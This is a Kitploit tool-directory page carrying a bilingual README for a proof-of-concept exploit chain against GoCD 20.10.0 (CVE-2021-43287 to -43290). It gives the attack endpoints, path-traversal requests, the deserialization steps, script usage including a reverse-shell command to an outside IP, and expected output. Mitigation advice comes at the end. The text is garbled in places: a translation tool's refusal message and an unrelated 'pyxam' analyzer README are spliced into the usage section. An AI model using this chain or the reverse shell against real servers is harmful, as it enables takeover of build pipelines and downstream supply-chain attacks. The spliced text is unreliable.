Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
GoCD_PoC_Supply_Chain_Attack — CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290 | Kitploit
Strumenti/GitHubGitHub/higorgabrieldcf/gocd_poc_supply_chain_attack
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitVirtualizzazione per la SicurezzaPenetration TestingSicurezza della Supply ChainApprendimento e FormazioneRed Teaming
GitHubhigorgabrieldcf/gocd_poc_supply_chain_attack
16h 44m faNon ancora revisionato

GoCD_PoC_Supply_Chain_Attack

CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GoCD 20.10.0 — PoC: CVE-2021-43287 · CVE-2021-43288 · CVE-2021-43289 · CVE-2021-43290

Autore / Author: Higor Farias — PRIDE Security

⚠️ AVVISO LEGALE / LEGAL DISCLAIMER

[PT] Material produzido exclusivamente para fins educacionais e de pesquisa em segurança ofensiva. Utilize somente em ambientes controlados com autorização explícita. O uso indevido é de responsabilidade exclusiva do utilizador.

[EN] Prodotto esclusivamente per scopi educativi e di ricerca autorizzata in sicurezza offensiva. Utilizzare solo in ambienti controllati con esplicita autorizzazione scritta. L'uso improprio è di esclusiva responsabilità dell'utente.


Indice / Table of Contents

  1. Panoramica / Overview
  2. Impatto sulla Catena di Fornitura del Software / Software Supply Chain Impact
  3. Vulnerabilità / Vulnerabilities
  4. Catena di Attacco / Attack Chain
  5. Prerequisiti / Prerequisites
  6. Ambiente PoC con Docker / PoC Docker Environment
  7. Utilizzo degli Script / Script Usage
    • gocd_rce_noauth.py — RCE senza autenticazione / Unauthenticated RCE
{comando} ``` ### `gocd_urldns.py` — URLDNS / Rilevamento di deserializzazione
  • gocd_urldns.py — URLDNS / Rilevamento di deserializzazione
  • Riferimenti / References
  • Cronologia / Timeline
  • Mitigazione / Mitigation

  • 1. Panoramica / Overview

    [PT] O GoCD é uma plataforma de CI/CD mantida pela ThoughtWorks. Nas versões anteriores à 21.3.0, pesquisadores da SonarSource identificaram uma cadeia de vulnerabilidades explorável sem nenhuma autenticação. Os dois scripts deste repositório demonstram:

    • gocd_rce_noauth.py — exploração completa da cadeia até RCE (Execução Remota de Código), sem credenciais.
    • gocd_urldns.py — detecção out-of-band da desserialização Java via gadget chain URLDNS e callback DNS (requer credenciais válidas para listar agents registrados).

    [EN] GoCD è una piattaforma CI/CD mantenuta da ThoughtWorks. Nelle versioni precedenti alla 21.3.0, i ricercatori di SonarSource hanno identificato una catena di vulnerabilità sfruttabile senza alcuna autenticazione. I due script in questo repository dimostrano:

    • gocd_rce_noauth.py — sfruttamento completo della catena fino a RCE (Remote Code Execution), senza credenziali.
    • gocd_urldns.py — rilevamento out-of-band della deserializzazione Java tramite gadget chain URLDNS e callback DNS (richiede credenziali valide per elencare gli agent registrati).

    2. Impatto sulla Catena di Fornitura del Software / Software Supply Chain Impact

    [PT] O GoCD ocupa uma posição central na cadeia de entrega de software de uma organização: ele orquestra a compilação, os testes, a geração de artefatos e os deploys em produção. Ao comprometer o servidor GoCD via RCE (como demonstrado pelo gocd_rce_noauth.py), um atacante obtém controle sobre todos os estágios desse processo — podendo inserir backdoors em binários, falsificar artefatos ou exfiltrar código-fonte e credenciais antes mesmo que qualquer produto chegue ao usuário final. O cenário é análogo ao ataque à SolarWinds (2020), onde o acesso ao pipeline de build resultou na distribuição de malware para milhares de clientes.

    [EN] GoCD occupa una posizione centrale nella catena di distribuzione del software di un'organizzazione: orchestra build, test, generazione di artefatti e deploy in produzione. Compromettendo il server GoCD tramite RCE (come dimostrato da gocd_rce_noauth.py), un attaccante ottiene il controllo su ogni fase di tale processo — consentendo l'inserimento di backdoor nei binari, la manomissione degli artefatti o l'esfiltrazione di codice sorgente e credenziali prima ancora che qualsiasi prodotto raggiunga l'utente finale. Lo scenario è analogo all'attacco a SolarWinds (2020), dove l'accesso alla pipeline di build ha portato alla distribuzione di malware a migliaia di clienti.```mermaid flowchart TD ATK(["🕵️ Atacante / Attacker\n(não autenticado / unauthenticated)"])

    root@kitploit:~
    subgraph EXPLOIT ["Exploração / Exploitation"]
        E1["CVE-2021-43287\nLeitura do cruise_config\n(tokenGenerationKey + agentAutoRegisterKey)"]
        E2["Path Traversal\nLeitura de /etc/go/jetty.xml\ne /proc/self/environ"]
        E3["Registro de agente falso\nFake agent registration"]
        E4["Desserialização Java\n(AspectJWeaver gadget chains)\nSobrescreve jetty.xml + restart"]
        E5["💥 RCE no servidor GoCD\nRCE on GoCD server"]
        E1 --> E2 --> E3 --> E4 --> E5
    end
    
    subgraph PIPELINE ["Pipeline CI/CD comprometido / Compromised CI/CD Pipeline"]
        P1["📦 Build de artefatos\nBinary/artifact build"]
        P2["🧪 Execução de testes\nTest execution"]
        P3["📤 Publicação de pacotes\nPackage publication\n(npm, PyPI, Docker Hub...)"]
        P4["🚀 Deploy em produção\nProduction deployment"]
        P1 --> P2 --> P3 --> P4
    end
    
    subgraph IMPACT ["Impacto / Impact"]
        I1["🔑 Vazamento de credenciais\nCredential leak\n(tokens, SSH keys, API keys)"]
        I2["🦠 Backdoor em artefatos\nBackdoor in build artifacts"]
        I3["📂 Exfiltração de código-fonte\nSource code exfiltration"]
        I4["☠️ Ataque à cadeia de suprimentos\nSupply chain attack\n(usuários finais afetados / end users impacted)"]
        I1 & I2 & I3 --> I4
    end
    
    ATK --> EXPLOIT
    E5 -->|"Controle total do runner\nFull runner control"| PIPELINE
    P1 -->|"Artefatos envenenados\nPoisoned artifacts"| I2
    P3 -->|"Pacotes maliciosos\nMalicious packages"| I4
    P4 -->|"Produção comprometida\nCompromised production"| I4
    E5 -->|"Leitura de secrets\nSecrets read"| I1
    E5 -->|"Acesso ao repositório\nRepository access"| I3
    
    root@kitploit:~
    ---
    
    ## 3. Vulnerabilità / Vulnerabilities
    
    | CVE | Tipo / Type | CVSS 3.1 | CWE | Auth |
    |-----|-------------|:---:|-----|:---:|
    | **CVE-2021-43287** | Information Disclosure | **7.5 HIGH** | CWE-200 | ❌ Nenhuma / None |
    | **CVE-2021-43288** | Stored XSS | **6.1 MEDIUM** | CWE-79 | Agent |
    | **CVE-2021-43289** | Path Traversal — PUT | **8.1 HIGH** | CWE-22 | Agent |
    | **CVE-2021-43290** | Path Traversal — GET | **8.1 HIGH** | CWE-22 | Agent |
    
    ### CVE-2021-43287 — Business Continuity: vazamento sem autenticação / unauthenticated leak
    
    **[PT]** O endpoint `/go/add-on/business-continuity/api/cruise_config` devolve o XML completo de configuração do servidor **sem exigir autenticação**. O XML contém os atributos do elemento `<server>`, incluindo `agentAutoRegisterKey` e `tokenGenerationKey` — as duas chaves necessárias para registrar agentes e assinar requisições autenticadas. Adicionalmente, o parâmetro `pluginName` do endpoint de plugins aceita sequências de path traversal (`../../../../../../`), permitindo leitura de arquivos arbitrários do sistema — como `/proc/self/environ` e `/etc/go/jetty.xml`.
    
    **[EN]** The `/go/add-on/business-continuity/api/cruise_config` endpoint returns the full server configuration XML **without requiring authentication**. The XML contains the `<server>` element attributes, including `agentAutoRegisterKey` and `tokenGenerationKey` — the two keys needed to register agents and sign authenticated requests. Additionally, the `pluginName` parameter of the plugin endpoint accepts path traversal sequences (`../../../../../../`), allowing arbitrary file reads — such as `/proc/self/environ` and `/etc/go/jetty.xml`.
    
    **Endpoint utilizzati dagli script / Endpoints used by the scripts:**```
    GET /go/add-on/business-continuity/api/cruise_config
    GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../proc/self/environ
    GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/go/jetty.xml
    

    CVE-2021-43289 / CVE-2021-43290 — Deserializzazione Java tramite remoteBuildRepository

    [PT] L'endpoint /go/remoting/remoteBuildRepository accetta oggetti Java serializzati (Content-Type: application/x-java-serialized-object) autenticati solo con l'header Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Poiché il tokenGenerationKey viene ottenuto tramite CVE-2021-43287, un attaccante senza credenziali può inviare gadget chain malevole. Gli script utilizzano due gadget personalizzati di ysoserial basati su AspectJWeaver:

    • AspectJWeaverFileUpload1 — scrive un file arbitrario sul filesystem del server (usato per sovrascrivere /etc/go/jetty.xml con una versione malevola).
    • AspectJWeaverFileRead1 — legge /dev/random, forzando Jetty a riavviarsi e a caricare il jetty.xml modificato, innescando l'esecuzione del comando iniettato tramite java.lang.Runtime.exec().

    [EN] L'endpoint /go/remoting/remoteBuildRepository accetta oggetti Java serializzati (Content-Type: application/x-java-serialized-object) autenticati solo con l'header Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Poiché il tokenGenerationKey viene ottenuto tramite CVE-2021-43287, un attaccante non autenticato può inviare gadget chain malevole. Gli script utilizzano due gadget personalizzati di ysoserial basati su AspectJWeaver:

    • AspectJWeaverFileUpload1 — scrive un file arbitrario sul filesystem del server (usato per sovrascrivere /etc/go/jetty.xml con una versione malevola).
    • AspectJWeaverFileRead1 — legge /dev/random, forzando Jetty a riavviarsi e a caricare il jetty.xml modificato, innescando l'esecuzione del comando iniettato tramite java.lang.Runtime.exec().

    4. Encadeamento de Ataque / Attack Chain

    gocd_rce_noauth.py — Cadeia completa sem autenticação / Full unauthenticated chain```

    ATACANTE (sem credenciais) / ATTACKER (no credentials) │ │ [Step 1] GET /go/add-on/business-continuity/api/cruise_config (CVE-2021-43287) │ └─► Extrai agentAutoRegisterKey + tokenGenerationKey do XML │ │ [Step 3] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../proc/self/environ │ └─► Lê variáveis de ambiente do processo GoCD │ │ [Step 4] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../etc/go/jetty.xml │ └─► Lê jetty.xml → salva como bkp_orig_jetty.xml │ │ [Step 6] Localmente: injeta payload em jetty.xml │ └─► Adiciona │ {comando} │ │ antes de → gera exploit_jetty.xml │ │ [Step 7] GET /go/admin/agent/token?uuid={novo_uuid} │ POST /go/admin/agent (com agentAutoRegisterKey extraída) │ └─► Registra agente falso chamado "gocd_rce_noauth" │ │ [Step 8] ysoserial AspectJWeaverFileUpload1 → serializa upload do exploit_jetty.xml → /etc/go/jetty.xml │ ysoserial AspectJWeaverFileRead1 → serializa leitura de /dev/random (trigger de restart) │ │ [Step 9] POST /go/remoting/remoteBuildRepository (Authorization: base64(HMAC-SHA256)) │ └─► Envia AspectJWeaverFileUpload1 → sobrescreve /etc/go/jetty.xml │ └─► Envia AspectJWeaverFileRead1 → força reinicialização do Jetty │ ▼ Jetty reinicia → carrega jetty.xml malicioso → Runtime.exec({comando}) → RCE

    root@kitploit:~
    ### `gocd_urldns.py` — Rilevamento out-of-band / Rilevamento out-of-band```
    ATACANTE (com credenciais) / ATTACKER (with credentials)
    │
    │ [Step 1]  POST /go/auth/security_check  (j_username + j_password)
    │            └─► Obtém JSESSIONID
    │
    │ [Step 2]  GET /go/add-on/business-continuity/api/cruise_config
    │            └─► Extrai tokenGenerationKey
    │
    │ [Step 4]  GET plugin?pluginName=../../../../../../proc/self/environ
    │            └─► Lê variáveis de ambiente
    │
    │ [Step 5]  GET /go/api/agents  (Accept: application/vnd.go.cd+json)
    │            └─► Lista agents; seleciona o primeiro com agent_state != "Building"
    │                e extrai seu UUID
    │
    │ [Step 9]  ysoserial URLDNS {interact_url}
    │            └─► Serializa gadget URLDNS apontando para servidor de interação DNS
    │
    │ [Step 10] POST /go/remoting/remoteBuildRepository
    │            └─► Envia payload URLDNS com UUID + Authorization HMAC
    │
    ▼
    Servidor GoCD desserializa → faz requisição DNS para {interact_url}
    DNS callback confirma vulnerabilidade de desserialização
    

    5. Prerequisiti / Prerequisites

    Dipendenze Python / Python dependencies```bash

    pip install requests

    root@kitploit:~
    ### Ferramentas externas obrigatórias / Mandatory external tools
    
    Ambos os scripts dependem de um JDK 32-bit e do `ysoserial.jar` no diretório de execução.
    Both scripts depend on a 32-bit JDK and `ysoserial.jar` in the working directory.
    
    | Ferramenta / Tool | Versão / Version | Finalidade / Purpose |
    |---|---|---|
    | **ysoserial.jar** | Custom (com gadgets AspectJWeaver) | Geração de payloads serializados |
    | **OpenLogic OpenJDK** | `8u332-b09` **x32** | Runtime para ysoserial |
    
    **Estrutura esperada de arquivos / Expected file structure:**```
    diretório de execução / working directory
    ├── gocd_rce_noauth.py
    ├── gocd_urldns.py
    ├── ysoserial.jar
    └── openlogic-openjdk-8u332-b09-linux-x32/
        └── bin/
            └── java
    

    [PT] O script detecta o sistema operacional automaticamente e usa o caminho correspondente:

    • Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
    • Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

    [EN] Lo script rileva automaticamente il sistema operativo e utilizza il percorso corrispondente:

    • Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
    • Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

    Per gocd_urldns.py: servizio di interazione DNS / DNS interaction service

    [PT] È necessario un server di interazione DNS che registri i callback (es.: interactsh o Burp Collaborator). Lo script invia l'URL ricevuto tramite -i come argomento al gadget URLDNS.

    [EN] È necessario un server di interazione DNS che registri i callback (es.: interactsh o Burp Collaborator). Lo script passa l'URL ricevuto tramite -i come argomento al gadget URLDNS.```bash

    Iniciar listener interactsh / Start interactsh listener

    interactsh-client

    Copiar a URL gerada (ex: abcdef.oast.pro) e usar como valor de -i

    Copy the generated URL (e.g. abcdef.oast.pro) and use as -i value

    root@kitploit:~
    ---
    
    ## 6. Ambiente PoC con Docker / PoC Docker Environment
    
    ### Avviare il target vulnerabile / Start the vulnerable target```bash
    # Clonar / Clone
    git clone https://github.com/<usuario>/gocd-cve-poc.git
    cd gocd-cve-poc
    
    # Subir apenas o servidor GoCD 20.10.0
    # Start only the GoCD 20.10.0 server
    docker-compose up -d gocd-server
    
    # Aguardar inicialização (~90s) / Wait for startup (~90s)
    docker-compose logs -f gocd-server
    # Pronto quando aparecer: "Go server port: 8153"
    
    ContainerImmagine / ImagePorta / Port
    gocd-server-vulngocd/gocd-server:v20.10.08153 (HTTP), 8154 (HTTPS)
    gocd-agent-vulngocd/gocd-agent-alpine-3.12:v20.10.0—

    Interface web / Web UI

    URL: http://localhost:8153/go

    Confirmar que o endpoint vulnerável responde (HTTP 200 esperado)

    Confirm the vulnerable endpoint responds (HTTP 200 expected)

    curl -sk http://localhost:8153/go/add-on/business-continuity/api/cruise_config | head -5

    root@kitploit:~
    ### Teardown```bash
    docker-compose down -v
    

    7. Uso dos Scripts / Script Usage


    gocd_rce_noauth.py — RCE sem autenticação / Unauthenticated RCE

    [PT] Executa a cadeia completa de exploração sem nenhuma credencial: lê o cruise_config, extrai as chaves do servidor, lê e modifica o jetty.xml via path traversal, registra um agente falso, serializa os gadgets AspectJWeaver com ysoserial e os envia ao endpoint de desserialização para sobrescrever o jetty.xml e forçar a reinicialização do Jetty com o comando injetado.

    [EN] Executes the full exploitation chain with no credentials: reads cruise_config, extracts server keys, reads and modifies jetty.xml via path traversal, registers a fake agent, serializes the AspectJWeaver gadgets with ysoserial, and sends them to the deserialization endpoint to overwrite jetty.xml and force Jetty to restart with the injected command.

    Argumentos / Arguments

    FlagObrigatório / RequiredDescrição (PT)Description (EN)
    -c✅Comando a executar no servidorCommand to execute on the server
    -t✅URL base do GoCD (ex: http://gocd.example.com)GoCD base URL

    Exemplos / Examples```bash

    Verificar execução com 'id'

    Verify execution with 'id'

    python3 gocd_rce_noauth.py
    -t http://localhost:8153
    -c "id"

    root@kitploit:~
    I cannot translate this content because no source text was provided. The INPUT section is empty.
    
    Please send the actual Markdown content for chunk 23 of 37, and I will translate it from English to Italian following all the rules you specified.```bash
    # Reverse shell (ajustar IP e porta / adjust IP and port)
    python3 gocd_rce_noauth.py \
        -t http://localhost:8153 \
        -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
    

    Installazione

    Requisiti

    • Python 3.8+
    • pip (gestore di pacchetti Python)

    Installazione da PyPI

    root@kitploit:~
    pip install pyxam
    

    Installazione da sorgente

    root@kitploit:~
    git clone https://github.com/example/pyxam.git
    cd pyxam
    pip install -e .
    

    Installazione con supporto per lo sviluppo

    root@kitploit:~
    pip install -e ".[dev]"
    

    Avvio rapido

    Analisi di base

    root@kitploit:~
    from pyxam import XAMAnalyzer
    
    # Inizializza l'analizzatore
    analyzer = XAMAnalyzer()
    
    # Analizza un file
    results = analyzer.analyze("suspicious.xam")
    
    # Visualizza i risultati
    print(results.summary())
    

    Analisi avanzata

    root@kitploit:~
    from pyxam import XAMAnalyzer, XAMConfig
    
    # Configura l'analizzatore
    config = XAMConfig(
        deep_scan=True,
        extract_strings=True,
        detect_obfuscation=True
    )
    
    analyzer = XAMAnalyzer(config=config)
    results = analyzer.analyze("suspicious.xam")
    
    # Esporta i risultati
    results.export_json("report.json")
    results.export_html("report.html")
    

    Utilizzo da riga di comando

    Comandi di base

    root@kitploit:~
    # Analizza un singolo file
    pyxam analyze suspicious.xam
    
    # Analizza una directory
    pyxam analyze /path/to/samples/
    
    # Output in formato JSON
    pyxam analyze suspicious.xam --format json
    
    # Output in formato HTML
    pyxam analyze suspicious.xam --format html --output report.html
    

    Opzioni avanzate

    root@kitploit:~
    # Abilita la scansione approfondita
    pyxam analyze suspicious.xam --deep-scan
    
    # Estrai le stringhe
    pyxam analyze suspicious.xam --extract-strings
    
    # Rileva l'offuscamento
    pyxam analyze suspicious.xam --detect-obfuscation
    
    # Imposta il livello di verbosità
    pyxam analyze suspicious.xam --verbose
    

    Configurazione

    File di configurazione

    Crea un file pyxam.yaml nella directory corrente:

    root@kitploit:~
    analyzer:
      deep_scan: true
      extract_strings: true
      detect_obfuscation: true
      timeout: 300
    
    output:
      format: json
      verbose: false
    
    logging:
      level: INFO
      file: pyxam.log
    

    Variabili d'ambiente

    root@kitploit:~
    export PYXAM_CONFIG=/path/to/config.yaml
    export PYXAM_LOG_LEVEL=DEBUG
    export PYXAM_TIMEOUT=600
    

    API

    Classe XAMAnalyzer

    Metodi

    • analyze(file_path) - Analizza un file XAM
    • analyze_directory(dir_path) - Analizza tutti i file XAM in una directory
    • export_json(output_path) - Esporta i risultati in JSON
    • export_html(output_path) - Esporta i risultati in HTML
    • summary() - Restituisce un riepilogo dei risultati

    Attributi

    • config - Oggetto di configurazione
    • results - Risultati dell'analisi
    • errors - Errori riscontrati durante l'analisi

    Classe XAMConfig

    Parametri

    • deep_scan (bool) - Abilita la scansione approfondita
    • extract_strings (bool) - Estrai le stringhe dal file
    • detect_obfuscation (bool) - Rileva tecniche di offuscamento
    • timeout (int) - Timeout in secondi

    Esempi

    Esempio 1: Analisi di base

    root@kitploit:~
    from pyxam import XAMAnalyzer
    
    analyzer = XAMAnalyzer()
    results = analyzer.analyze("sample.xam")
    print(results.summary())
    

    Esempio 2: Analisi batch

    root@kitploit:~
    from pyxam import XAMAnalyzer
    import os
    
    analyzer = XAMAnalyzer()
    
    for filename in os.listdir("samples/"):
        if filename.endswith(".xam"):
            filepath = os.path.join("samples/", filename)
            results = analyzer.analyze(filepath)
            print(f"{filename}: {results.summary()}")
    

    Esempio 3: Analisi personalizzata

    root@kitploit:~
    from pyxam import XAMAnalyzer, XAMConfig
    
    config = XAMConfig(
        deep_scan=True,
        extract_strings=True,
        detect_obfuscation=True,
        timeout=600
    )
    
    analyzer = XAMAnalyzer(config=config)
    results = analyzer.analyze("suspicious.xam")
    
    # Esporta i risultati
    results.export_json("report.json")
    results.export_html("report.html")
    

    Risoluzione dei problemi

    Problemi comuni

    Errore: "ModuleNotFoundError: No module named 'pyxam'"

    Assicurati che pyxam sia installato:

    root@kitploit:~
    pip install pyxam
    

    Errore: "Permission denied"

    Assicurati di avere i permessi di lettura per il file:

    root@kitploit:~
    chmod +r suspicious.xam
    

    Errore: "Timeout exceeded"

    Aumenta il valore di timeout:

    root@kitploit:~
    pyxam analyze suspicious.xam --timeout 600
    

    Debug

    Abilita la registrazione di debug:

    root@kitploit:~
    export PYXAM_LOG_LEVEL=DEBUG
    pyxam analyze suspicious.xam --verbose
    

    Contribuire

    Segnalazione di bug

    Segnala i bug su GitHub Issues:

    root@kitploit:~
    https://github.com/example/pyxam/issues
    

    Richieste di funzionalità

    Invia le richieste di funzionalità su GitHub:

    root@kitploit:~
    https://github.com/example/pyxam/issues
    

    Pull request

    1. Fai il fork del repository
    2. Crea un branch per la funzionalità
    3. Apporta le modifiche
    4. Invia una pull request

    Licenza

    Questo progetto è distribuito sotto la licenza MIT. Vedi il file LICENSE per i dettagli.

    Ringraziamenti

    • Grazie a tutti i contributori
    • Grazie alla community open source

    Contatti

    • GitHub: https://github.com/example/pyxam
    • Email: [email protected]

    Riferimenti

    • Documentazione ufficiale
    • Guida all'API
    • Esempi```bash

    Criar arquivo de prova no servidor

    Create proof file on the server

    python3 gocd_rce_noauth.py
    -t http://localhost:8153
    -c "touch /tmp/pwned_by_gocd_cve"

    Verificar / Verify

    docker exec gocd-server-vuln ls /tmp/pwned_by_gocd_cve

    root@kitploit:~
    #### Output previsto / Expected output```
    [1] Verificando arquivo cruise_config
    Arquivo cruise_config acessível
    
    [2] Lendo atributos do servidor
    agentAutoRegisterKey: 3b4c5d6e-...
    tokenGenerationKey: 7f8a9b0c-...
    artifactsdir: /godata/artifacts
    siteUrl: http://localhost:8153/go
    ...
    
    [3] Verificando arquivo variáveis de ambiente do processo
    Arquivo acessível
    
    [4] Verificando arquivo jetty.xml
    Arquivo acessível
    
    [5] Criando backup do arquivo jetty.xml
    Backup criado
    
    [6] Criando arquivo exploit_jetty.xml
    Arquivo criado
    
    [7] Registrando novo agent
    Gerando token do agent
    Token gerado
    
    Registrando novo agent
    Agent registrado
    Dados do agent: {'hostname': 'gocd_rce_noauth', 'uuid': 'a1b2c3d4-...', ...}
    
    [8] Serializando objetos
    Objetos serializados
    
    [9] Enviando objetos serializados
    Enviando exploit_jetty.xml
    Arquivo enviado
    
    Enviando comando para forçar reinicialização
    Aguardando reinicialização
    

    Arquivos gerados localmente / File generati localmente

    Arquivo / FileContenuto / Content
    bkp_orig_jetty.xmlCopia originale di /etc/go/jetty.xml scaricata dal server
    exploit_jetty.xmlVersione modificata con Runtime.exec({comando}) iniettato prima di </Configure>

    Payload iniettato in jetty.xml / Payload iniettato in jetty.xml```xml

    [PT] Variante di rilevamento out-of-band che conferma la vulnerabilità di deserializzazione Java senza eseguire codice distruttivo. Richiede credenziali per autenticarsi ed elencare gli agent registrati, dai quali estrae l'UUID di un agent con agent_state != "Building". Successivamente serializza il gadget URLDNS con ysoserial puntando a un URL di interazione DNS e lo invia all'endpoint /go/remoting/remoteBuildRepository. Un callback DNS confermerà che il server ha deserializzato il payload.

    [EN] An out-of-band detection variant that confirms the Java deserialization vulnerability without executing destructive code. Requires credentials to authenticate and list registered agents, from which it extracts the UUID of an agent with agent_state != "Building". It then serializes the URLDNS gadget with ysoserial pointing to a DNS interaction URL and sends it to the /go/remoting/remoteBuildRepository endpoint. A DNS callback will confirm the server deserialized the payload.

    Argomenti / Arguments

    FlagObbligatorio / RequiredDescrizione (PT)Description (EN)
    -u✅Utente GoCDGoCD username
    -p✅Password GoCDGoCD password
    -i✅URL di interazione DNS (es: http://abcdef.oast.pro)DNS interaction URL
    -t✅URL base di GoCDGoCD base URL

    Esempio / Example```bash

    python3 gocd_urldns.py
    -t http://localhost:8153
    -u admin
    -p password
    -i http://abcdef.oast.pro

    root@kitploit:~
    #### Output previsto / Expected output```
    [1] Autenticando
    Autenticado com sucesso
    
    [2] Verificando arquivo cruise_config
    Arquivo cruise_config acessível
    
    [3] Lendo atributos do servidor
    agentAutoRegisterKey: 3b4c5d6e-...
    tokenGenerationKey: 7f8a9b0c-...
    ...
    
    [4] Verificando arquivo variáveis de ambiente do processo
    Arquivo acessível
    
    [5] Listando agents
    Lista carregada
    
    Buscando GUID de um agent
    Localizado agent com status != Building
    GUID: 550e8400-e29b-41d4-a716-446655440000
    
    [9] Serializando objetos
    b'\xac\xed\x00\x05...'
    Objetos serializados
    
    [10] Enviando objeto serializado
    <Response [500]>
    ...
    Objeto URLDNS enviado
    

    [PT] Após o envio, verificar no painel do interactsh/Collaborator se houve uma requisição DNS originada do IP do servidor GoCD. Isso confirma a vulnerabilidade de desserialização antes de explorar com o gocd_rce_noauth.py.

    [EN] Dopo l'invio, verificare nel pannello di interactsh/Collaborator se è stata effettuata una richiesta DNS originata dall'IP del server GoCD. Ciò conferma la vulnerabilità di deserializzazione prima di sfruttarla con gocd_rce_noauth.py.

    Header de autorização / Authorization header

    Ambos os scripts calculam a autorização da mesma forma / Entram gli script calcolano l'autorizzazione allo stesso modo:```python Authorization = base64( HMAC-SHA256(key=tokenGenerationKey, msg=agent_uuid) )

    root@kitploit:~
    ---
    
    ## 8. Riferimenti / References
    
    ### CVE — NVD / NIST
    
    | CVE | Link |
    |-----|------|
    | CVE-2021-43287 | https://nvd.nist.gov/vuln/detail/CVE-2021-43287 |
    | CVE-2021-43288 | https://nvd.nist.gov/vuln/detail/CVE-2021-43288 |
    | CVE-2021-43289 | https://nvd.nist.gov/vuln/detail/CVE-2021-43289 |
    | CVE-2021-43290 | https://nvd.nist.gov/vuln/detail/CVE-2021-43290 |
    
    ### Analisi tecnica / Technical writeups
    
    | Risorsa / Resource | URL |
    |---|---|
    | SonarSource — Agent 007: Pre-Auth Takeover (CVE-2021-43287) | https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover |
    | SonarSource — Agent 008: Chaining Vulnerabilities (CVE-2021-43288/89/90) | https://blog.sonarsource.com/gocd-vulnerability-chain |
    | AttackerKB — CVE-2021-43287 | https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 |
    
    ### Commit di correzione / Fix commits
    
    | CVE | Commit | Modifica / Change |
    |-----|--------|-----------------|
    | CVE-2021-43287 | [`41abc21`](https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c) | Auth check in `DashBoardController.java` |
    | CVE-2021-43288 | [`f5c1d2a`](https://github.com/gocd/gocd/commit/f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4) | `StringEscapeUtils.escapeHtml4()` nei nomi degli artefatti |
    | CVE-2021-43289 | [`c22e042`](https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f) | `isValidStageCounter()` nell'handler PUT |
    | CVE-2021-43290 | [`4c4bb47`](https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595) | `isValidStageCounter()` nell'handler GET |
    
    ### Release notes / Versione corretta
    
    - GoCD v21.3.0: https://www.gocd.org/releases/#21-3-0
    
    ---
    
    ## 9. Cronologia / Timeline
    
    | Data / Date | Evento / Event |
    |-------------|----------------|
    | 2021-10-18 – 2021-10-21 | SonarSource segnala le vulnerabilità a GoCD tramite HackerOne |
    | 2021-10-23 | GoCD pubblica le patch su GitHub |
    | 2021-10-26 | GoCD rilascia la versione v21.3.0 con tutte le correzioni |
    | 2021-11-04 | CVE -43288, -43289, -43290 assegnati |
    | 2022-04-14 | CVE-2021-43287 pubblicato su NVD |
    
    ---
    
    ## 10. Mitigazione / Mitigation
    
    **[PT]**
    1. **Aggiorna** GoCD alla versione **≥ 21.3.0** immediatamente.
    2. Se l'add-on Business Continuity non viene utilizzato, **disabilitalo**.
    3. **Ruota** `tokenGenerationKey`, `agentAutoRegisterKey` e tutte le credenziali delle pipeline esposte.
    4. **Esamina i log** alla ricerca di richieste non autenticate a `/go/add-on/business-continuity/` e POST a `/go/remoting/remoteBuildRepository` con `Content-Type: application/x-java-serialized-object`.
    5. Applica la **segmentazione di rete** per limitare l'accesso al server GoCD solo agli host autorizzati.
    
    **[EN]**
    1. **Upgrade** GoCD to version **≥ 21.3.0** immediately.
    2. If the Business Continuity add-on is not needed, **disable it**.
    3. **Rotate** `tokenGenerationKey`, `agentAutoRegisterKey`, and all pipeline credentials that may have been exposed.
    4. **Review logs** for unauthenticated requests to `/go/add-on/business-continuity/` and POST requests to `/go/remoting/remoteBuildRepository` with `Content-Type: application/x-java-serialized-object`.
    5. Apply **network segmentation** to restrict GoCD server access to authorized hosts only.
    
    ---
    
    *A scopo educativo. / For educational purposes only.*
    
    Scarica lo strumento